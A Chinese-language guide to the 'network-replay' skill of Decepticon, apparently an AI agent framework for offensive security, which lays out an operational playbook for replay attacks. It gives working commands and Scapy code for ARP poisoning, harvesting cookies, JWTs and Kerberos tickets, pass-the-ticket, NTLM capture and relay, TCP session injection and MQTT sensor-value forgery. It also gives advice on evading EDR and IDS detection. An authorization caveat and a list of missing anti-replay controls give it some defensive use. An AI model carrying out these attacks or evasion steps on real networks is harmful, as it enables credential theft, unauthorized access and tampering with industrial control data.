Decepticon 网络重放攻击实战指南：PCAP 捕获、令牌重放与 TCP 会话劫持

本篇指南以 Decepticon 开源仓库中network-replay技能文档（SKILL.md）为主体，系统讲解重放攻击（Replay Attack）的完整作战流程：从流量捕获、可重放材料提取，到原始帧重放、应用层令牌注入与 TCP 会话劫持，并覆盖 ATT&CK 映射、证据采集与 OPSEC 规避。读完本文，你将掌握 Decepticon Post-Exploit 角色在执行重放攻击任务时的标准操作手册、底层技能加载机制，以及如何在知识图谱中沉淀可复用的攻击证据。

技能定位：重放攻击是独立的进攻原语

重放攻击（Replay Attack）的核心思想是：复用先前捕获的、仍然有效的网络消息来完成重新认证或重新授权，而无需知晓底层密钥。攻击者并不需要破解密码、也不需要对协议进行逆向构造，只需要证明"这段流量曾经合法"。

在 Decepticon 的技能体系中，network-replay被设计为一个独立于其他攻击原语的专用技能。该技能的 frontmatter 明确定义了其适用场景：

--- name: network-replay description: "PCAP-based network replay attacks: capture auth sequences, session tokens, and protocol frames, then replay or inject to achieve unauthorized access or session hijack." allowed-tools: Bash Read Write metadata: subdomain: post-exploit when_to_use: "replay attack, pcap replay, session hijack, token replay, tcpreplay, scapy replay, kerberos ticket replay, jwt replay, oauth replay, NTLM relay capture replay, credential replay, MQTT frame replay, sequence number prediction" tags: replay, pcap, session-hijack, scapy, tcpreplay, kerberos, jwt, oauth, ntlm, mqtt, network mitre_attack: T1557, T1557.001, T1563, T1550, T1550.002, T1040 ---

从仓库中的技能加载机制看，这段 frontmatter 并非摆设。SkillsMiddleware（实现见 middleware/skills.py）在 agent 启动时将技能的description、when_to_use触发关键词和mitre_attack标签注入系统提示词，按subdomain（如 post-exploit）分组展示技能目录。当任务目标与触发关键词匹配时，agent 通过load_skill()按需加载完整 SKILL.md 正文——这一"渐进式披露"（progressive disclosure）机制保证上下文窗口精简，同时让深度的攻击知识在需要时触手可及。

触发路径：当一次交战中已经捕获了有效流量，且认证令牌/会话状态可被复用（典型触发词如 "pcap replay"、"session hijack"、"token replay"、"tcpreplay"），Decepticon 就会路由到本技能。加载方式支持唯一 slugnetwork-replay、相对路径standard/post-exploit/network-replay/SKILL.md或完整虚拟路径/skills/standard/post-exploit/network-replay/SKILL.md（解析实现见 tools/skills.py）。

授权边界：RoE 明确授权是前置条件

技能文档在开头即强调强制性的使用前提：

Authorized use only. Replay attacks require network capture of live traffic which may incidentally capture credentials or PII from non-target systems. RoE must explicitly authorize packet capture on the target subnet and name which protocols and systems are in scope.

翻译过来有三层含义：

1. 仅限授权使用——重放攻击属于主动攻击原语，必须在交战规则（RoE）允许范围内执行；
2. 流量捕获的连带风险——对目标网段的抓包可能"顺带"捕获到非目标系统的凭据或个人可识别信息（PII），操作者要有这个认知并做好最小化处理；
3. RoE 必须书面明确——授权范围要具体到"在哪些子网允许抓包、哪些协议和系统在范围内"。

这一点与仓库的 RoE 强制执行机制一脉相承。技能文档中的allowed-tools: Bash Read Write也限定了本技能只使用三类工具，所有捕获与重放操作均通过 Bash 命令行、文件读写完成，不涉及额外的横向工具面。

工具清单：验证标准 Kali 环境的可用性

执行前先确认工具链齐全（标准 Kali 发行版环境）：

# Verify tools available (standard Kali) which tcpreplay tcpprep tcprewrite tshark scapy 2>/dev/null pip show scapy pwntools 2>/dev/null | grep -E 'Name|Version'

各工具在后续流程中的职责：

Phase 1 — 流量捕获：被动监听与 MITM 两种路线

被动捕获：本地网段

被动捕获是最隐蔽的方式，不主动向目标发送任何数据：

# Broad capture — filter to target host post-hoc sudo tcpdump -i <iface> -w /tmp/capture.pcap host <target_ip> # Targeted: capture only authentication-relevant ports sudo tcpdump -i <iface> -w /tmp/auth.pcap \ 'host <target> and (port 80 or port 443 or port 88 or port 389 or port 1883)' # If you have a SPAN/mirror port feeding into the attacker NIC: sudo tcpdump -i <span_iface> -w /tmp/span.pcap -s 0

三个变体的侧重点不同：

• 宽泛捕获：只按目标主机 IP 过滤，抓到完整流量后可在后续用tshark事后筛选，适合不确定认证发生在哪个端口的情况；
• 定向捕获：只抓认证相关端口——80（HTTP）、443（HTTPS）、88（Kerberos）、389（LDAP）、1883（MQTT），能显著减小 PCAP 体积，便于后续分析；
• SPAN/镜像端口：如果交换机把流量镜像到攻击机网卡，直接-s 0（捕获完整帧长，不做 snaplen 截断）抓全量数据，这是文档推荐的最隐蔽方案（详见 OPSEC 一节）。

MITM 捕获：ARP 投毒前置

当没有镜像端口、必须主动截获流量时，使用 ARP 投毒建立中间人位置：

# ARP poison victim <-> gateway to intercept traffic sudo arpspoof -i <iface> -t <victim_ip> <gateway_ip> & sudo arpspoof -i <iface> -t <gateway_ip> <victim_ip> & # Enable IP forwarding to stay transparent echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward sudo tcpdump -i <iface> -w /tmp/mitm.pcap host <victim_ip>

要点：两个方向的 ARP 欺骗都要做（受害者↔网关双向），同时开启 IP 转发（ip_forward=1）保持链路透明，避免双向流量经过攻击机后无法转发导致受害者断网而暴露攻击行为。

Phase 2 — 提取可重放材料

HTTP 会话令牌与 Cookie

tshark -r /tmp/capture.pcap \ -Y 'http.request.method == "POST" || http.cookie' \ -T fields -e frame.number -e ip.src -e http.cookie \ -e http.authorization -e http.file_data 2>/dev/null | head -50 # Extract cookie / Authorization header value for direct reuse tshark -r /tmp/capture.pcap -Y 'http.cookie' \ -T fields -e http.cookie 2>/dev/null | sort -u

第一条命令聚焦"认证瞬间"——POST 请求体或携带 Cookie 的报文，同时输出帧号、源 IP、Cookie、Authorization 头与 POST 数据；第二条命令用sort -u去重所有出现的 Cookie 值，直接得到可复用的会话令牌列表。

JWT 令牌

# JWTs appear in Authorization: Bearer headers or JSON bodies tshark -r /tmp/capture.pcap \ -Y 'http.authorization contains "Bearer"' \ -T fields -e http.authorization 2>/dev/null | \ grep -oP 'Bearer \K[A-Za-z0-9._-]+'

捕获后可用以下 Python 代码解码查看 claims 而不做签名验证（注意：这只是检查 payload 中的过期时间、角色、主体等字段，并不伪造令牌）：

import base64, json token = "<paste_jwt>" header, payload, sig = token.split('.') print(json.loads(base64.b64decode(payload + '==').decode()))

通过解码可以快速判断令牌的利用价值：exp（是否仍有效）、role（权限级别）、sub（主体身份）等字段直接决定后续重放策略。

Kerberos TGT / TGS 票据重放（Pass-the-Ticket）

# Extract Kerberos AS-REP / TGS-REP from capture tshark -r /tmp/capture.pcap -Y 'kerberos' \ -T fields -e kerberos.msg_type -e kerberos.CNameString \ -e kerberos.realm 2>/dev/null | head -30 # If you have code execution on a Windows host — dump tickets in memory # (credential-access domain; use from post-exploit context) # Rubeus.exe dump /luid:<logon_id> /service:krbtgt /nowrap # Then inject: Rubeus.exe ptt /ticket:<base64_kirbi> # Impacket-based PTT (Linux) after extracting .ccache file export KRB5CCNAME=/tmp/stolen.ccache python3 /opt/impacket/examples/psexec.py -k -no-pass <target>

Kerberos 票据重放（Pass-the-Ticket）有两条执行路径：

• Windows 侧：先在内存中 dump 票据（Rubeus 的dump /luid:<logon_id> /service:krbtgt），再用ptt注入票据；
• Linux 侧：把票据导出为.ccache文件，设置KRB5CCNAME环境变量指向它，然后直接用 Impacket 的psexec.py -k -no-pass以票据身份访问目标，全程无需密码。

这条路径与仓库中ad/域的 Pass-the-Hash / Pass-the-Ticket 技能族呼应（参见 post-exploit 技能目录）。

NTLM Net-NTLMv2 捕获：走 Relay 而非 Crack

技能文档明确区分了这条路线：捕获 Net-NTLMv2 的目的若是 Relay，就对接专门的 relay 手册，而不是本地破解哈希。完整 relay 手册见 ad/ntlm-relay/SKILL.md（涵盖ntlmrelayx的 SMB/LDAP/ADCS/MSSQL 目标矩阵、SMB signing 约束与多跳 relay 配置）。本技能只承担捕获职责：

sudo responder -I <iface> -wdF # capture Net-NTLMv2 hashes # For relay (not crack): pipe directly to ntlmrelayx sudo ntlmrelayx.py -tf /tmp/relay_targets.txt -smb2support

-wdF组合：-w（WPAD 代理投毒）、-d（DHCP）、-F（强制认证）；ntlmrelayx -tf则把捕获到的认证流量逐个转发给目标列表中的主机。

Phase 3 — 重放执行

原始 PCAP 帧重放（tcpreplay）

# Extract specific frames to replay tshark -r /tmp/capture.pcap -w /tmp/auth_only.pcap \ -Y 'frame.number >= 150 && frame.number <= 180' # Replay at original rate to target sudo tcpreplay --intf1=<iface> --topspeed /tmp/auth_only.pcap # Replay with destination MAC/IP rewrite (different target host) tcprewrite --srcipmap=<orig_src>:<new_src> \ --dstipmap=<orig_dst>:<new_dst> \ --enet-dmac=<target_mac> \ --infile=/tmp/auth_only.pcap \ --outfile=/tmp/rewritten.pcap sudo tcpreplay --intf1=<iface> /tmp/rewritten.pcap

三步走：先用帧号范围从大 PCAP 中切出认证片段，再按原始速率（--topspeed）直接重放；若要把重放流量导向不同目标主机，则先用tcprewrite改写源/目的 IP 与目的 MAC，再重放改写后的 PCAP。注意--topspeed会以网卡最大速率突发发送，容易触发 IDS 告警，OPSEC 一节有降速替代方案。

Scapy 会话令牌注入

from scapy.all import rdpcap, IP, TCP, Raw, send packets = rdpcap('/tmp/auth_only.pcap') # Pick the auth POST packet auth_pkt = packets[5] # Modify destination if replaying to a different host auth_pkt[IP].dst = '<new_target_ip>' auth_pkt[IP].src = '<attacker_ip>' del auth_pkt[IP].chksum del auth_pkt[TCP].chksum send(auth_pkt, verbose=1)

核心细节：rdpcap读入捕获包后，若重放目标不同，必须同时改写 IP 层的源/目的地址，并且del掉 IP 与 TCP 的 checksum，让内核/网卡在发送时重新计算——否则校验和错误会导致对端丢弃数据包。

HTTP Cookie / Bearer Token 应用层重放（curl）

COOKIE="session=<extracted_value>" JWT="<extracted_jwt>" # Cookie replay curl -sk -H "Cookie: $COOKIE" https://<target>/api/admin -v # JWT replay curl -sk -H "Authorization: Bearer $JWT" https://<target>/api/v1/users -v

这是最直接的重放形态：不碰网络层，直接把提取出的会话凭据以 HTTP 头形式提交给目标应用，验证是否仍被服务端接受。-sk用于忽略 TLS 证书校验（测试环境常见自签证书）。

MQTT 帧重放（IoT / OT 场景）

# Replay a captured MQTT publish frame (e.g., sensor value forgery) # Extract MQTT payload from pcap tshark -r /tmp/capture.pcap -Y 'mqtt.msgtype == 3' \ -T fields -e mqtt.topic -e mqtt.msg 2>/dev/null # Re-publish with mosquitto_pub mosquitto_pub -h <broker_ip> -p 1883 \ -t "<captured_topic>" -m "<captured_payload>"

MQTTmsgtype == 3即 PUBLISH 帧。典型攻击场景是传感器数值伪造：捕获合法传感器对主题的发布（如温度、水位读数），用mosquitto_pub向 broker 重新发布相同主题与载荷，实现对 SCADA/OT 控制面数据的注入。该场景对应 frontmatter 中的mqtt标签与port 1883定向捕获建议。

Phase 4 — TCP 会话劫持

当序列号可预测或已具备MITM 位置时，可以在 TCP 流中注入伪造数据：

from scapy.all import * # Monitor target TCP stream and identify SEQ/ACK window packets = sniff(filter=f"tcp and host <victim> and host <server>", count=20, iface="<iface>") last = packets[-1] src_ip = last[IP].src dst_ip = last[IP].dst sport = last[TCP].sport dport = last[TCP].dport seq = last[TCP].seq + len(last[Raw].load) ack = last[TCP].ack # Inject payload into the stream hijack = IP(src=src_ip, dst=dst_ip) / \ TCP(sport=sport, dport=dport, seq=seq, ack=ack, flags="PA") / \ Raw(load=b"GET /admin HTTP/1.1\r\nHost: server\r\n\r\n") send(hijack, verbose=1)

原理拆解：

• sniff监听受害者与服务器之间的 TCP 流，取最后一个数据包作为参考；
• 关键计算：注入包的seq必须等于参考包的seq + len(last[Raw].load)（即参考包载荷之后的下一个序列号），ack沿用参考包的确认号，flags="PA"（PSH+ACK）确保数据立即推送；
• 随后构造一个伪装成服务器→受害者方向的 HTTP 请求注入流中（实际方向按 src/dst 对应调整），实现"盲注入"（blind injection）式的会话内操作。

攻击成功的前提是该 TCP 连接没有用带外机制保护（如 TLS 或 SSH 封装），且序列号空间可预测——这正是文档将其列为"Remote Service Session Hijacking"技术的原因。

ATT&CK 映射

这张表与 frontmatter 中的mitre_attack: T1557, T1557.001, T1563, T1550, T1550.002, T1040一一对应。SkillsMiddleware在渲染技能目录时会解析该字段并内联展示（见 middleware/skills.py 的_parse_comma_field），使 agent 在技能目录层面就具备 ATT&CK 感知。

证据采集：沉淀到知识图谱

重放成功后，技能文档要求在 Decepticon 的知识图谱（KG）中登记 finding 节点：

kg_add_node( kind="finding", label="Network replay attack — session token reused", props={ "technique": "network-replay", "captured_pcap": "/workspace/evidence/replay/<target>.pcap", "replayed_token_type": "<cookie|jwt|kerberos|ntlm|mqtt>", "result": "<access_gained|failed>", "target": "<ip_or_hostname>", "mitre": "T1557,T1550", }, )

从仓库源码看，kg_add_node是 research 工具集中真正的 Graph 工具（tools/research/tools.py#L480），支持host、service、finding、credential等节点类型，通过props中的确定性key去重，节点在每次 agent 迭代之间持久化，下一次全新上下文的 agent 也能查询到。建议在props中额外记录 pcap 证据文件路径与replayed_token_type字段值，方便后续审计与报告引用。本地 finding 文档的证据引用格式可参考仓库的 local-evidence-contract.md。

反重放控制清单：finding 必须说明缺失的控制

当重放成功时，finding 必须明确指出目标缺失了哪项反重放控制——这是报告价值所在，也是修复建议的依据：

• No nonce / CSRF token on authenticated requests.（认证请求缺少 nonce / CSRF 令牌，导致请求可被原样重放）
• No token binding to client IP or TLS session.（令牌未绑定客户端 IP 或 TLS 会话，异地重放同样有效）
• Long or infinite token lifetime.（令牌生命周期过长或永不过期，放大重放窗口）
• MissingSecure/HttpOnlycookie flags（cookie 缺少安全标志，使 JS 可窃取后用于重放；HttpOnly缺失则 XSS 即可直接偷取）
• No Kerberos delegation restriction（ms-DS-AllowedToDelegateTo属性开放，票据可被滥用）
• MQTT broker accepting publish without authentication or TLS.（MQTT broker 允许无认证/无 TLS 发布，传感器伪造成为可能）

OPSEC：重放操作的暴露面控制

技能文档在末尾给出三条关键的隐蔽性纪律：

1. ARP 欺骗很"吵"：绝大多数 EDR 与网络监控平台会对 gratuitous ARP 和重复 MAC 表项告警。可用被动 SPAN 捕获时优先使用 SPAN，尽量不主动投毒。
2. tcpreplay可能触发 IDS：重复的 TCP SYN 序列会让 IDS 报警。对策是降速重放（--mbps=1）或对序列号进行改写。
3. Kerberos PTT 的日志指纹：Pass-the-Ticket 不会产生 NTLM 事件日志（4776），但会生成4768/4769（Kerberos 认证/票据请求），且 client IP 显示为攻击者地址——务必保证攻击者 IP 与被盗身份的预期地理位置一致，避免触发位置异常告警。

关联技能导航

本技能在 Decepticon 技能体系中与以下技能协同使用，均可在 standard 技能目录 中通过load_skill()加载：

• ad/ntlm-relay/SKILL.md — NTLM relay 完整手册（目标矩阵、SMB signing 约束、multi-relay、crack vs relay 取舍）；
• ad/coercer/SKILL.md — 强制认证，为 relay 提供认证流量来源；
• post-exploit/credential-access/SKILL.md — 凭据提取与捕获（LSASS、SAM、Responder 等），是本技能材料来源的上游环节；
• post-exploit/lateral-movement/SKILL.md — 重放取得会话后的横向移动衔接。

技能系统的整体运作方式（渐进式披露、load_skill解析规则、角色目录映射）详见 docs/skills.md；load_skill工具的路径校验与全文返回实现见 tools/skills.py。

实战要诀回顾：重放攻击的成败关键在于三个判断——① 捕获的流量是否仍处于有效窗口（检查 JWTexp、会话 TTL）；② 目标是否缺失反重放控制（nonce、token binding、cookie 标志）；③ 重放形态是否匹配目标协议层（网络层用 tcpreplay、应用层用 curl/Scapy、IoT 层用 mosquitto_pub）。把握住这三点，就能把"一段合法流量"转化为"一次未授权访问"。